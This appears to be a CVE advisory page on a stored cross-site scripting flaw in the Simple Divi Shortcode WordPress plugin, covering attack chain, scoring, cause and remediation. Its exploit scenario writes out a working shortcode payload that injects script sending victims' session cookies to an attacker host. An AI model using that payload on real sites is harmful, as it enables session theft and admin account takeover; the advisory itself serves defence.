Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain contributor-level WordPress account
-
DeliveryInsert [showmodule] shortcode with crafted 'id' payload
-
ExploitPayload stored in WordPress database
-
ExecutionVictim (admin or user) visits injected page
-
PersistBrowser renders unsanitized output, executing injected script
-
ImpactSteal session cookie or perform actions as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold a WordPress contributor role (or higher) on the target site - this is the minimum capability needed to insert shortcodes into post content, as confirmed by CVSS PR:L (Low Privileges Required). The Simple Divi Shortcode plugin must be installed and active on the WordPress site, and the target must be running version 1.2 or earlier. The [showmodule] shortcode must be used (or an attacker must be able to insert it) within a post or page that is subsequently viewed by other users. Exploitation is limited to sites with multi-author configurations where untrusted users hold contributor access; single-author sites where only trusted administrators publish content face negligible real-world risk. The attacker does not need to trick the victim into any specific interaction beyond visiting the injected page (CVSS UI:N from the attacker's perspective), but a victim must visit the page for the XSS payload to execute. |
| Impact | The CVSS 3.1 score of 6.4 reflects a realistic assessment of this vulnerability's impact profile. The vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N indicates network-reachable exploitation with low complexity, requiring low-privilege authentication (contributor role), with no further user interaction needed by the attacker once the payload is injected. The Changed Scope (S:C) accounts for the cross-context impact: a contributor-level attacker operating within their own post context can affect sessions of higher-privileged users (editors, admins) who view the injected page, potentially enabling privilege escalation through admin session hijacking. No EPSS score was provided in the source data, limiting probabilistic exploitation forecasting. The absence of CISA KEV listing and no identified public exploit code suggests this is not currently being mass-exploited. However, the low attack complexity and the relatively common contributor role in multi-author WordPress sites make this a meaningful risk for sites where untrusted users can publish or draft content. The primary real-world risk is WordPress admin account takeover via injected payload executing in an administrator's browser session. |
| Exploit ScenarioDerived | An attacker registers or obtains a contributor-level WordPress account on a target site running Simple Divi Shortcode 1.2 or earlier, then creates or edits a post containing [showmodule id='malicious"><script>document.location="https://attacker.com/steal?c="+document.cookie</script>'] and submits it for publication. When an administrator reviews or approves the post - or any user visits the published page - the unsanitized 'id' value breaks out of the HTML attribute context and the injected script executes, transmitting the victim's session cookie to the attacker and enabling account takeover. No public exploit code has been identified at time of analysis, but the vulnerability is trivially reproducible from the description alone. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 29, 2026
Stored Cross-Site Scripting in the Simple Divi Shortcode WordPress plugin (versions up to and including 1.2) allows authenticated attackers with contributor-level access to permanently embed arbitrary JavaScript into WordPress pages via the unsanitized 'id' parameter of the [showmodule] shortcode. The injected payload executes in the browser of any user who subsequently visits the affected page, enabling session hijacking, credential theft, or malicious redirects within the victim's authenticated session context. No public exploit code has been identified at time of analysis, and this vulnerability is not listed in the CISA KEV catalog.
RemediationAI
Upstream fix available via a Trac changeset from version 1.2 to 1.2.1 (https://plugins.trac.wordpress.org/changeset?old_path=%2Fsimple-divi-shortcode/tags/1.2&new_path=%2Fsimple-divi-shortcode/tags/1.2.1); a released patched version is referenced but not independently confirmed as pushed to the WordPress plugin repository - administrators should verify version 1.2.1 is available in the WordPress Plugin Directory and update immediately. If the update is not yet available in the plugin directory, a compensating control is to remove contributor-level posting capability from untrusted user roles using a capability manager plugin (e.g., Members or User Role Editor), preventing untrusted users from inserting shortcodes into posts - note this trade-off restricts legitimate contributor functionality. Alternatively, disable or remove the Simple Divi Shortcode plugin entirely if it is not essential to site operation. WordPress site administrators should also audit existing posts and pages for presence of [showmodule] shortcodes with suspicious 'id' parameter values to identify any prior injection attempts.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the showmodule_shortcode() function within simple_divi_shortcode.php (line 62-63), developed by vendor creaweb2b (CPE: cpe:2.3:a:creaweb2b:simple_divi_shortcode:*:*:*:*:*:*:*:*). The function accepts shortcode attributes and concatenates the 'id' parameter directly into a dynamically constructed shortcode string without applying WordPress's esc_attr() sanitization function or any output escaping. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) flaw: the absence of escaping allows an attacker to break out of the HTML attribute context using characters such as quotes, angle brackets, or event handler syntax. Because WordPress shortcodes are processed server-side and their rendered output is stored in post content, the malicious script is persisted in the database and served to every subsequent visitor - classifying this as stored (persistent) XSS rather than reflected.
Know when Simple Divi Shortcode gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from Vendor (Wordfence) · only source for this CVE.
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Simple Divi Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the [showmodule] shortcode in versions up to, and including, 1.2 This is due to insufficient input sanitization and output escaping in the showmodule_shortcode() function, which concatenates the 'id' shortcode attribute directly into a dynamically constructed shortcode string without applying esc_attr() or any escaping, allowing an attacker to break out of the attribute context and inject arbitrary HTML. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-33252
GHSA-f3vv-fhm6-p4jh
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB